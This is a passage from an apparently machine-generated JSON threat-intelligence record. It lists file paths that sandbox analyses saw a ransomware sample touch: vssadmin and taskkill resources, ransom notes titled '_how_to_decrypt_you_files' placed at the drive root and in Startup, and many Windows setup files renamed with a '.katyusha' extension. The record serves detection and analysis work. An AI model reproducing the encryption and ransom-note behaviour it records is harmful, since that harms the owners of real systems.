id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\taskkill.exe.mui","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"path":"%WINDIR%\\Temp","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\_how_to_decrypt_you_files.txt","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\_how_to_decrypt_you_files.txt","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\_how_to_decrypt_you_files.html","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"%ALLUSERSPROFILE%\\_how_to_decrypt_you_files.txt","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\$WINDOWS.~BT\\DUDownload\\Setup\\appraiser.sdb.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\DUDownload\\Setup\\replacementmanifests\\contentdeliverymanager.utilities-replacement.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\DUDownload\\Setup\\replacementmanifests\\devicedirectory-devicedirectoryclient-desktop-replacement.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\DUDownload\\Setup\\replacementmanifests\\gpbase-replacement.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\DUDownload\\Setup\\replacementmanifests\\microsoft-windows-advertisingid-replacement.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\DUDownload\\Setup\\replacementmanifests\\microsoft-windows-geolocation-replacement.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\DUDownload\\Setup\\replacementmanifests\\microsoft-windows-ie-internetexplorer-repl-2.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\DUDownload\\Setup\\replacementmanifests\\onecore_speechcommon-rep.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\DUDownload\\Setup\\uninstall.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\DUDownload\\Setup\\upgrade_bulk.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\appraiser.sdb.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\hwcompat.txt.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\hwexclude.txt.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\nxquery.inf.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\AltData.cab.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\appraiser.sdb.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\Appraiser_Data.ini.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\Appraiser_TelemetryRunList.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\CompatData_2018_06_15_02_37_58_3_00000021.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\CompatData_2018_06_15_02_38_01_3_00000021.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\compatscancache.dat.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\diagerr.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\diagwrn.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\setupact.log.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\setuperr.log.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\W162x7STtEKk-ZBa.1.1.1.7.29.1.4.0.0_APPRAISER_EverythingSys.bin.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\W162x7STtEKk-ZBa.1.1.1.7.29.1.4.0.0_APPRAISER_HumanReadable.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\W162x7STtEKk-ZBa.1.1.1.7.29.1.4.0.0_APPRAISER_SetupOutput.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\W162x7STtEKk-ZBa.1.1.1.7.29.1.4.0.0_APPRAISER_SetupOutputHw.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\windlp.state-old.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\Panther\\windlp.state.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\reagent.admx.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\reagent.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\replacementmanifests\\contentdeliverymanager.utilities-replacement.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\replacementmanifests\\devicedirectory-devicedirectoryclient-desktop-replacement.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\replacementmanifests\\gpbase-replacement.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\replacementmanifests\\microsoft-windows-advertisingid-replacement.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\replacementmanifests\\microsoft-windows-geolocation-replacement.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\replacementmanifests\\microsoft-windows-ie-internetexplorer-repl-2.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\replacementmanifests\\onecore_speechcommon-rep.man.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\setupplatform.cfg.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\SetupPlatform.ini.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\SFCN.DAT.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\SFLCID.DAT.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\SFLISTRS1.DAT.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\SFLISTWT.DAT.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\SFLISTWT.WOA.DAT.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\SFPAT.INF.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\SFPATRS1.INF.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\SFPATWT.INF.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\uninstall.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\$WINDOWS.~BT\\Sources\\upgrade_bulk.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\BOOTNXT.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\bootTel.dat.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0000.chk\\Flash.ocx.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\$filehashes$.dat.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_2bbf2381b52f5f3f.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_5c030486719c0644.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_a2a6164a567d9470.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_3ea100bf4da69ecb.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_e7ae4b063c62a0bc.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_b90b6903ec9a72db.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_bd07a659ea0b4f4b.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ccountsrt.resources_31bf3856ad364e35_10.0.17134.1_en-us_dc0b1719a7e1bc24.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_ae4d644f2ed63425.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_bf95c9c4974efad0.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..cymanagerbrokerhost_31bf3856ad364e35_10.0.17134.1_none_644f5bdfd9647dba.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ernetmail.resources_31bf3856ad364e35_10.0.17134.1_en-us_cf3c5a6654651d32.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..etmailcsp.resources_31bf3856ad364e35_10.0.17134.1_en-us_96611701049c6174.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ineshared.resources_31bf3856ad364e35_10.0.17134.1_en-us_c96d47a2570a4d1b.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..licymanagerbrokerps_31bf3856ad364e35_10.0.17134.1_none_5e9328a4938e27b9.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..ontroller.resources_31bf3856ad364e35_10.0.17134.1_en-us_fe1e2f2b714b36b3.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..orkhelper.resources_31bf3856ad364e35_10.0.17134.1_en-us_1b018b35f5ddad2e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..rokerhost.resources_31bf3856ad364e35_10.0.17134.1_en-us_57732c362fd6e5d5.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..taccessor.resources_31bf3856ad364e35_10.0.17134.1_en-us_eaab6e3bc583134c.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-m..vesynccsp.resources_31bf3856ad364e35_10.0.17134.1_en-us_85ab47dc0a11718d.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-accountaccessor_31bf3856ad364e35_10.0.17134.1_none_ace0eed0fc56496f.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-accountsrt_31bf3856ad364e35_10.0.17134.1_none_151a1b146da49afd.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-activesynccsp_31bf3856ad364e35_10.0.17134.1_none_f33b0ddddab62566.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-aphostclient_31bf3856ad364e35_10.0.17134.1_none_085c9ad7af984bcf.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-aphostres_31bf3856ad364e35_10.0.17134.1_none_b8e036b8f18490ec.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-aphostservice_31bf3856ad364e35_10.0.17134.1_none_3abe8fc5b712e80b.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-davsyncprovider_31bf3856ad364e35_10.0.17134.1_none_bbbcf5b2b22aac5e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-engineshared_31bf3856ad364e35_10.0.17134.1_none_db8c1c8a8d44988e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-inprocloggersetup_31bf3856ad364e35_10.0.17134.1_none_88d720ce10d25069.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-internetmailcsp_31bf3856ad364e35_10.0.17134.1_none_e0ae355aa7085a45.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-internetmail_31bf3856ad364e35_10.0.17134.1_none_2d05acef046f159b.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-networkhelper_31bf3856ad364e35_10.0.17134.1_none_a0fa210c520b753b.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-standard-config_31bf3856ad364e35_10.0.17134.1_none_d914b9c2a964ff65.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-synccontroller_31bf3856ad364e35_10.0.17134.1_none_034ee57d81775b52.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncproxy_31bf3856ad364e35_10.0.17134.1_none_d607dcf5dc927baa.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_af-za_75594e685e635a3e.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_am-et_7d7c85c6592f59a5.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_as-in_7a92200a5b164ca5.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_az-..-az_430003654a8ac792.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_be-by_2329316d4a126116.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bg-bg_1b1810594f44477a.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-bd_1977cb5b5057fd7c.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-in_1de673af4d7ede29.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bs-..-ba_9dc79e5d6403da80.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-..cia_14e21eba6dd01f70.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-es_c3c945ba3e394044.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_chr..-us_d733cdc5d64dd9f8.manifest.katyusha","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"path":"C:\\found.000\\dir0001.chk\\amd